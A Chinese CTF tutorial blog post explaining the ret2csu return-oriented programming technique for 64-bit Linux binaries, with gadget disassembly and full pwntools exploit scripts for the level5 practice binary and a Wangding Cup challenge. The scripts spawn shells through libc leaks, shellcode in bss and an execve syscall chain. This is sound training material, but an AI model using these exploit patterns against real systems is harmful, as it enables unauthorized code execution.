• Mac PWN 入门系列(七)Ret2Csu


    Mac PWN 入门系列(七)Ret2Csu

    发布时间:2020-05-21 10:00:15

    0x0 PWN入门系列文章列表

    Mac 环境下 PWN入门系列(一)

    Mac 环境下 PWN入门系列(二)

    Mac 环境下 PWN入门系列(三)

    Mac 环境下 PWN入门系列 (四)

    Mac 环境下 PWN入门系列 (五)

    Mac 环境下 PWN入门系列 (六)

    0x1 前言

    网鼎杯白虎组那个of F 的题目出的很是时候,非常好的一道base64位ROP的题目,刚好用来当做本次64位ROP利用的典型例子,这里笔者就从基础知识到解决该题目,与各位小萌新一起分享下学习过程。

    0x2 ret2csu

    通过上一篇的学习,我们可以知道

    64位程序的参数传递与32位有比较大的差别,前6个参数 由rdi rsi rdx rcx r8 r9 寄存器进行存放,在64位的程序中调用lib.so的时候会使用一个函数__libc_csu_init来进行初始化,通过这个函数里面的汇编片段,我们可以很巧妙控制到前3个参数和其他的寄存器,也能控制调用的函数地址,这个gadget 我们称之为64位的万能gadget,非常常用,学习ROP64位,是必不可少的一个环节。

    上图是程序执行时加载流程。

    下面我们一起来学习下吧。

    题目获取:git clone https://github.com/zhengmin1989/ROP_STEP_BY_STEP.git

    里面的level5 就是我们本次分析的题目。

    这里我们先查看下汇编代码:

    1. AT&T 风格objdump -- help
        -d, --disassemble        Display assembler contents of executable sections
        -D, --disassemble-all    Display assembler contents of all sections
      

      这里我们反汇编下执行部分的sections

      objdump -d ./level5

    2. 8086风格这里可以直接上ida或者objdump -d ./level5 -M intel

    64位ROP利用.assets/image-20200519095700969.png)

    阅读的时候注意两者的源操作数与目的操作数的位置即可。

    这里最适合阅读的话,推荐odjdump -d ./level5 -M intel

    image-20200519101222056

    我们先简单分析下这个代码:

    ret2cus的灵魂之处体现在 gadget2 利用 gadget1 准备的数据来控制edi、rsi、rdx和控制跳转任意函数。

    这里是gadget1部分代码

      400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
      40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
      400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
      400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
      40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
      40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
      400624:       48 83 c4 38             add    rsp,0x38
      400628:       c3                      ret
    

    这里可以看到rbx、rbp、r12、r13、r14、r15 可以由栈上rsp偏移+0x8 、+0x10、+0x20、+0x28、+0x30来决定

    最后rsp进行+0x38,然后ret,这里就很好形成了一个gagdet了,因为ret的作用就是 pop rip,也就是说我们能控制gadget1结束后的rip。上面的代码是16进制的,可能不是很好理解,这里有个师傅的图画的相当形象(这里我做了一些修改,我们先从简单的利用开始学起。)

    image-20200519111519907

    虽然这里我们可以完美控制了rbx等一些寄存器,但是我们参数寄存器是rdi、rsi、rdx、rcx、r8、r9,所以说gadget1好像没什么用? 这个时候我们就需要用到gadget2了,

      4005f0:       4c 89 fa                mov    rdx,r15
      4005f3:       4c 89 f6                mov    rsi,r14
      4005f6:       44 89 ef                mov    edi,r13d
      4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
    

    可以看到我们的rdx、rsi、edi 可以由r15、r14、r13低32位来控制,call 由r12+rbx*8来控制,而这些值恰恰是我们gadget1可以控制的值。

    但是这样我们仅仅只是利用gadget1 、 gadget2执行了一次控制,当call返回的时候,程序会继续向下执行,

    如果此时

    cmp rbx,rbp; jne 4005f0

    如果此时rbx与rbp不相等,则jnp(not equal)则会进入这个循环

    image-20200519123449419

    从而程序就卡在这里,ebx一直在+1,才退出,这里为了方便控制,我们可以根据gadget1来控制rbx==rbp,从而让程序继续向下走,回到了gadget1,在rsp+0x38处布置我们的返回地址,即可完成一次完成的ROP。

    根据这个图(因为反编译的可能存在一些差异,我的程序可能跟这个图不太一样,但是整体逻辑是一样的)

    image-20200519124234773

    这个图其实还是有点问题的,rsp应该向下8字节的位置,rsp指向的其实是第一个p64(0)(这里看作者右边那个图,感觉应该是未执行前画的堆栈图,那么结果就是对的)

    下面我的分析是call gadget1进去gadget2来分析的。

    rsp+8指向的rbx,… rsp+48指向的是r15,rsp+56(0x38),正好就是我们的返回地址,这个时候retn(pop rip),执行我们的gadget2,gadget2向下执行的过程中,因为rsp没有改变,执行到add rsp,38h,此时rsp+0x38,所以我们直接+0x38的位置,然后拼接我们的漏洞函数就可以了。

    image-20200519145347719

    我们调整下结构就容易写一个csu的利用函数,方便我们在其他程序中快速利用

    def csu(rbx, rbp, r12, r13, r14, r15, last):
        # pop rbx,rbp,r12,r13,r14,r15
        # rbx should be 0,
        # rbp should be 1,enable not to jump
        # r12 should be the function we want to call
        # rdi=edi=r13d
        # rsi=r14
        # rdx=r15
        payload = p64(csu_end_addr) + p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
        payload += p64(csu_front_addr)
        payload += 'A' * 0x38
        payload += p64(last)
        return payload
    

    这里的注释写的很明白, rdi由r13d来控制,rsi由r14来控制,rdx由r15来控制,这里的csu_end_addr是gadget1的开始地址,csu_front_addr是gadget2的开始地址。

    也许有些小萌新还是对

        payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
    

    这个构造感觉还是有点不懂,不过问题不大,我们用exp来解决这个题目,然后分析下,基本就能完整理解了。

    首先还是套路三部曲:

    1.checksec

    image-20200519125837449

    没看栈保护、64位程序

    2.ida

    image-20200519125950441

    这里用了程序加载了 write,read,同时很明显read函数对buf处读取存在栈溢出,因为0x200>0x80

    我们简单搜索下,发现这个题目没有后门函数,也没有/bin/sh字符串,这个套路其实我们之前也遇到过了。

    就是通过栈溢出让write输出libc的基地址,然后用read函数往bss段里面写入/bin/sh然后在调用syscall

    即可完成PWN的过程。

    3.编写exp

    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    
    from pwn import *
    # from libformatstr import *
    from LibcSearcher import LibcSearcher
    
    debug = True
    # 设置调试环境
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    # context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
    
    if debug:
        sh = process("./level5")
        elf=ELF('./level5')
    else:
        link = "x.x.x.x:xx"
        ip, port = map(lambda x:x.strip(), link.split(':'))
        sh = remote(ip, port)
        elf=ELF('./quantum_entanglement')
    
    
    write_got = elf.got['write']
    read_got = elf.got['read']
    main_addr = 0x400544
    bss_base = elf.bss()
    csu_end_addr= elf.search('x48x8bx5cx24x08').next()
    csu_front_addr = elf.search('x4cx89xfa').next()
    
    log.success("csu_end_addr => {}".format(hex(csu_end_addr)))
    log.success("csu_front_addr => {}".format(hex(csu_front_addr)))
    log.success("write_got => {}".format(hex(write_got)))
    log.success("read_got => {}".format(hex(read_got)))
    log.success("main_addr => {}".format(hex(main_addr)))
    log.success("bss_base => {}".format(hex(bss_base)))
    
    def csu(rbx, rbp, r12, r13, r14, r15, last):
        # pop rbx,rbp,r12,r13,r14,r15
        # rbx should be 0,
        # rbp should be 1,enable not to jump
        # r12 should be the function we want to call
        # rdi=edi=r13d
        # rsi=r14
        # rdx=r15
        payload = p64(csu_end_addr) + "A"*8 + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
        payload += p64(csu_front_addr)
        payload += 'A' * 0x38 # 这里+0x38是因为在gadget2中没有对rsp影响的操作,所以直接+0x38即可
        payload += p64(last)
        return payload
    
    sh.recvuntil('Hello, Worldn')
    payload1 = "A"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr)
    sh.sendline(payload1)
    write_addr = u64(sh.recv(8))
    log.success("sending payload1 ---> write_addr => {}".format(hex(write_addr)))
    libc = LibcSearcher('write',write_addr)
    libc_base_addr = write_addr - libc.dump("write")
    execve_addr = libc_base_addr + libc.dump("execve")
    system_addr = libc_base_addr + libc.dump("system")
    log.success("libc_base_addr => {}".format(hex(libc_base_addr)))
    log.success("execve_addr => {}".format(hex(execve_addr)))
    log.success("system_addr => {}".format(hex(system_addr)))
    
    # pause()
    #sh.recvuntil("Hello, Worldn")
    payload2 = "A"*0x88 + csu(0, 1, read_got, 0, bss_base, 0x100, main_addr)
    log.success("sending payload2 --->")
    sh.sendline(payload2)
    log.success("sending payload3 --->")
    payload3 = "/bin/shx00"
    payload3 += p64(system_addr)
    sh.sendline(payload3)
    log.success("sending payload4 --->")
    payload3 = "x00"*0x88 + csu(0, 1, bss_base+8, bss_base, 0, 0, main_addr)
    sh.sendline(payload3)
    sh.interactive()

    这里我们以payload1 作为分析的样本

    1.payload1 = "x00"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr)

    可以看到这里

    image-20200519203936802

    这个其实对应的调用是write(1, writ_got_addr, 8)

    其他的点,建议自己跟一下,如果还不明白, 欢迎加入PWN萌新群,寻找大佬手把手教学。

    UVE6OTE1NzMzMDY4 (Base64)

    0x2.1 关于ret2csu的题外话

    如果你看过ctfwiki的话,里面介绍了res2csu的攻击方式与本文是有些差异,主要是__libc_csu_init

    这个函数由于是编译的原因(PS.我也是猜的),导致了不同,这里我们可以进行对比看看

    这里我们可以重新选择编译下那个程序:

    gcc -g -fno-stack-protector -no-pie level5.c -o mylevel5

    image-20200519205504230

    左边是我们新编译的mylevel5,这个函数gadget1 与ctf wiki上面的分析是一样的,gadget2 与 level5 是一样的,很神奇吧。

    右边是我们上面主要分析的流程的level5

    首先是gadget1:

    ctf wiki上面是直接选择了pop rbx开始,所以我的rsp就没必要+8了,所以

    payload = p64(csu_end_addr) + p64(0) +p64(rbx)

    我们需要去掉多出来的p64(0)

    payload = p64(csu_end_addr)+p64(rbx)

    其次是gadget2:

      4005d0:       4c 89 fa                mov    rdx,r15
      4005d3:       4c 89 f6                mov    rsi,r14
      4005d6:       44 89 ef                mov    edi,r13d
    

    可以看到r15控制了rdx,r13d控制了edi,这个和我们上面分析相同,但是在ctfwiki上面的

    image-20200519213500674

    可以看到r13控制的rdx,r15d控制了edi

    def csu(rbx, rbp, r12, r13, r14, r15, last):
        # pop rbx,rbp,r12,r13,r14,r15
        # rbx should be 0,
        # rbp should be 1,enable not to jump
        # r12 should be the function we want to call
        # rdi=edi=r15d
        # rsi=r14
        # rdx=r13
        payload = 'a' * 0x80 + fakeebp
        payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
        payload += p64(csu_front_addr)
        payload += 'a' * 0x38
        payload += p64(last)
        sh.send(payload)
        sleep(1)
    

    这是ctf wiki的脚本,但是并没有具备全兼容性性, 所以我们平时一定要看清楚程序编译的__libc_csu_init的具体的初始化流程,然后修改下自己的csu的参数和位置。

    个人的一些看法:

    这个点也是我觉得萌新应该花时间去理解的,要不然只会套脚本,很容易把自己给坑死了。因为在pwn的过程中,环境很大概率会出现各种各样的问题,自己一定要掌握原理和调试的能力去解决这些问题。

    0x3 dynELF

    前面我们的思路一直是寻找确切的libc的本地版本与远程版本进行对应,但是在一些特殊情况下,这种方式是行不通的,本地能通,远程爆炸。这个时候dynELF技术就能解决这类型的一些问题,通过直接dump内存,去寻找libc的中函数地址,在远程的环境中运行。

    0x3.1 浅析原理

    这个内容涉及比较深的知识点,鉴于文章篇幅,先挖个坑,后面补上。

    0x4 网鼎杯白虎组of F WP

    最后我们用一道CTF的真题来完结我们的文章吧,据小伙伴说这是一道非常好的64位ROP的题目。

    网上也没有什么写这个文章,估计有不少小伙伴想试试的,这里我就以这道题目为例简单运用下ret2csu的思路。

    1.checksec

    image-20200520013801535

    emm,没开保护,64位程序,

    2.ida

    image-20200520014041918

    很明显一个gets的栈溢出点

    cyclic 200
    cyclic -l faab
    

    确定了偏移是120,开了NX,用了gets,先看看能不能shellcode一把梭。

    objdump -D pwn -M intel |grep "jump"

    发现没有用到jump的相关指令,这就无语了,我们没办法直接跳到shellcode

    上执行了,因为你不知道栈的内存地址呀,跳不过去,要是有jump指令的话我们就能控制rip回到栈上向下执行。

    image-20200520014052158

    image-20200520014210425

    存在__lib_csu_init满足万能gadget的条件,目前我们还能知道的一个点就是这个程序漏洞是由gets这个函数导致的,所以我们可以用gets来进行任意内容的写入,同时通过查阅程序内的函数,在init函数中发现了syscall的调用

    image-20200520103919029

    整理上面的条件

    这里有两种思路我们来看看:

    0x3.1 bss段写入shellcode

    gdb下用vmmap查看下发现bss段有rwx权限

    image-20200520100142294

    这里就很简单了,直接用gets写入shellcode,然后ret2csu到call的时候执行bss地址即可。

    ROPgadget --binary pwn --only "pop|ret" 找一下发现有pop rdi这样我们就很方便控制gets

    exp:

    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    
    from pwn import *
    # from libformatstr import *
    
    debug = True
    # 设置调试环境
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
    
    if debug:
        sh = process("./pwn")
        elf=ELF('./pwn')
    else:
        link = "x.x.x.x:xx"
        ip, port = map(lambda x:x.strip(), link.split(':'))
        sh = remote(ip, port)
        elf=ELF('./quantum_entanglement')
    
    rc = lambda: sh.recv(timeout=0.5)
    ru = lambda x:sh.recvuntil(x, drop=True)
    
    bss_addr = elf.bss()
    gets_plt_addr = elf.plt["gets"]
    pop_rdi_addr = 0x4006a3
    shell_code = asm(shellcraft.amd64.linux.sh())
    
    log.success("bss_addr => {}".format(hex(bss_addr)))
    log.success("gets_plt_addr => {}".format(hex(gets_plt_addr)))
    log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr)))
    offset = 0x78
    payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr)
    # pause()
    # gdb.attach(sh, "*0x400633")
    sh.sendline(payload)
    sh.sendline(shell_code)
    rc()
    sh.interactive()
    

    image-20200520110251575

    这里没什么太大的难点,关键的构造

    payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr)
    

    应该还是很好理解的吧,调用gets把shellcode写入到bss段,然后返回到bss段的地址上执行shellcode

    0x3.2 syscall系统调用

    这个小伙伴说的他做的这个可能是非预期,比如开了NX保护的时候,bss段就没办法执行了,但是还是有读取的权限和写权限的话,那么通过一个ROP绕过NX保护即可,很实用的一个ROP操作,下面看我分析吧。

    了解syscall系统调用

    execve(”/bin/sh”,0,0) 这个函数其实就是对系统函数的一个封装

    mov     rdi,offset bss
    mov     rsi,0
    mov     rdx,0
    mov     rax,3bh
           syscall        ;因为rax为3b,所以执行execve("/bin/sh",0,0)
    

    其流程如下

    1、将 sys_execve 的调用号 0x3B (59) 赋值给 rax
    2、将 第一个参数即字符串 “/bin/sh”的地址 赋值给 rdi
    3、将 第二个参数 0 赋值给 rsi
    4、将 第三个参数 0 赋值给 rdx

    首先我们可以通过ret2csu来控制rsi、rdx,然后通过gets向bss段写入syscallbinsh

    但是rax的话,由前面可以知道ret2csu只能的控制的寄存器只有:

    rbx rbp r12 r13(rdx) r14(rsi) r15d(edi)
    

    好像并没有控制rax的方法,这里我们找找gadget链条,并没有。

    这个时候就是知识的力量了

    image-20200520114324174

    read函数原型:

    ​ ssize_t read(int fd,void *buf,size_t count)

    函数返回值分为下面几种情况:

    1、如果读取成功,则返回实际读到的字节数。这里又有两种情况:一是如果在读完count要求字节之前已经到达文件的末尾,那么实际返回的字节数将 小于count值,但是仍然大于0;二是在读完count要求字节之前,仍然没有到达文件的末尾,这是实际返回的字节数等于要求的count值。

    2、如果读取时已经到达文件的末尾,则返回0。

    3、如果出错,则返回-1。

    我们可以调用read函数读取0x3b长度的自己,然后返回的时候rax会返回0x3b的,然后再调用syscall就可以了。

    我们想调用read的时候需要控制rax=0,这个程序刚好满足。

    编写exp:

    首先回到ret2csu上面,根据程序指令我们可以确定csu函数如下结构

    结合syscall的指令,后面的gadget用了retn

    image-20200520143941571

    image-20200520141845651

    这里我们就不需要填充到0x38,然后继续向下执行了,直接拼接在后面即可。

    def csu(rbx, rbp, r12, r13, r14, r15, last):
        # pop rbx,rbp,r12,r13,r14,r15
        # rbx should be 0,
        # rbp should be 1,enable not to jump
        # r12 should be the function we want to call
        # rdi=edi=r15d
        # rsi=r14
        # rdx=r13
        payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
        payload += p64(csu_front_addr)
        return payload
    

    完整的EXP如下:

    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    
    from pwn import *
    # from libformatstr import *
    
    debug = True
    # 设置调试环境
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
    
    if debug:
        sh = process("./pwn")
        elf=ELF('./pwn')
    else:
        link = "x.x.x.x:xx"
        ip, port = map(lambda x:x.strip(), link.split(':'))
        sh = remote(ip, port)
        elf = ELF('./quantum_entanglement')
    
    se = lambda x:sh.send(x)
    sl = lambda x: sh.sendline(x)
    rc = lambda: sh.recv(timeout=0.5)
    ru = lambda x:sh.recvuntil(x, drop=True)
    rn = lambda x:sh.recv(x)
    un64 = lambda x: u64(x.ljust(8, 'x00'))
    un32 = lambda x: u32(x.ljust(3, 'x00'))
    
    
    
    def csu(rbx, rbp, r12, r13, r14, r15, last):
        # pop rbx,rbp,r12,r13,r14,r15
        # rbx should be 0,
        # rbp should be 1,enable not to jump
        # r12 should be the function we want to call
        # rdi=edi=r15d
        # rsi=r14
        # rdx=r13
        global csu_end_addr
        global csu_front_addr
        payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
        payload += p64(csu_front_addr)
        return payload
    
    csu_end_addr = 0x000000000040069A
    csu_front_addr = 0x0000000000400680
    bss_addr = elf.bss()+0x20
    gets_plt_addr = elf.plt["gets"]
    pop_rdi_addr = 0x4006a3
    syscall_addr = 0x40061A
    start = 0x4004F0
    log.success("bss_addr => {}".format(hex(bss_addr)))
    log.success("gets_plt_addr => {}".format(hex(gets_plt_addr)))
    log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr)))
    log.success("csu_end_addr => {}".format(hex(csu_end_addr)))
    log.success("csu_front_addr => {}".format(hex(csu_front_addr)))
    
    offset = 0x78
    payload1 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + 
               p64(start)
    # pause()
    # gdb.attach(sh, "b *0x400633")
    # pause()
    sl(payload1)
    sl(p64(syscall_addr))
    
    payload2 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr+8) + p64(gets_plt_addr) + 
               p64(start)
    sl(payload2)
    sl("/bin/shx00")
    
    payload3 = offset * "A"
    payload3 += csu(0, 1, bss_addr, 59, bss_addr+0x20, 0, start)
    payload3 += csu(0, 1, bss_addr, 0,  0, bss_addr+8, start)
    sl(payload3)
    sl("A"*58)
    sh.interactive()
    

    这里主要是利用了read(0, bss_addr+0x20), 59),然后传入值,即可控制rax的返回值为0x

    3b.

    image-20200520144910422

    这个考点的原理是从SROP中发散出来的,平时没什么人注意,这个可以认真学习一波,不过这里的csu用的还是很巧妙的,能很好地多次刷新寄存器的值,来调用函数。

    0x5 总结

    栈上的套路还是有很多的,如一些地址残余在栈上、其他变形利用等等,路漫漫其修远兮,只能通过以赛促练来提高自己了。本来打算把dynelf写写,但是发现dynelf网上的文章原理方面介绍比较难理解,所以打算将其作为一个专题来认真学习下,然后再学习下SROP的知识,最终以一篇总结性文章收尾。

    0x6 参考链接

    Linux pwn从入门到熟练(三)

    菜鸟学PWN之ROP学习)

    详解 De1ctf 2019 pwn——unprintable

    ret2csu学习

    Linux X86 程序启动 – main函数是如何被执行的?

    Pwntools之DynELF原理探究

    Memory Leak & DynELF

    浅析栈溢出遇到的坑及绕过技巧

    pwn BackdoorCTF2017 Fun-Signals

  • 相关阅读:
    百度MIP(百度版的google AMP)了解一下?
    温故而知新 forEach 无法中断(break)的问题
    温故而知新 微信公众号调试和开发套路指南
    winform中键盘和鼠标事件的捕捉和重写
    大批量导入数据的SqlBulkCopy类
    IE6-IE9兼容性问题列表及解决办法:锁表头的JQuery方案和非JQuery方案(不支持IE6,7,8)
    不同版本的SQL Server之间数据导出导入的方法及性能比较
    C# 创建windows 服务
    Asp.Net 如何获取所有控件&如何获取指定类型的所有控件
    用SQL语句将远程SQL Server数据库中表数据导入到本地数据库相应的表中
  • 原文地址:https://www.cnblogs.com/bonelee/p/13789405.html
Copyright © 2020-2023  润新知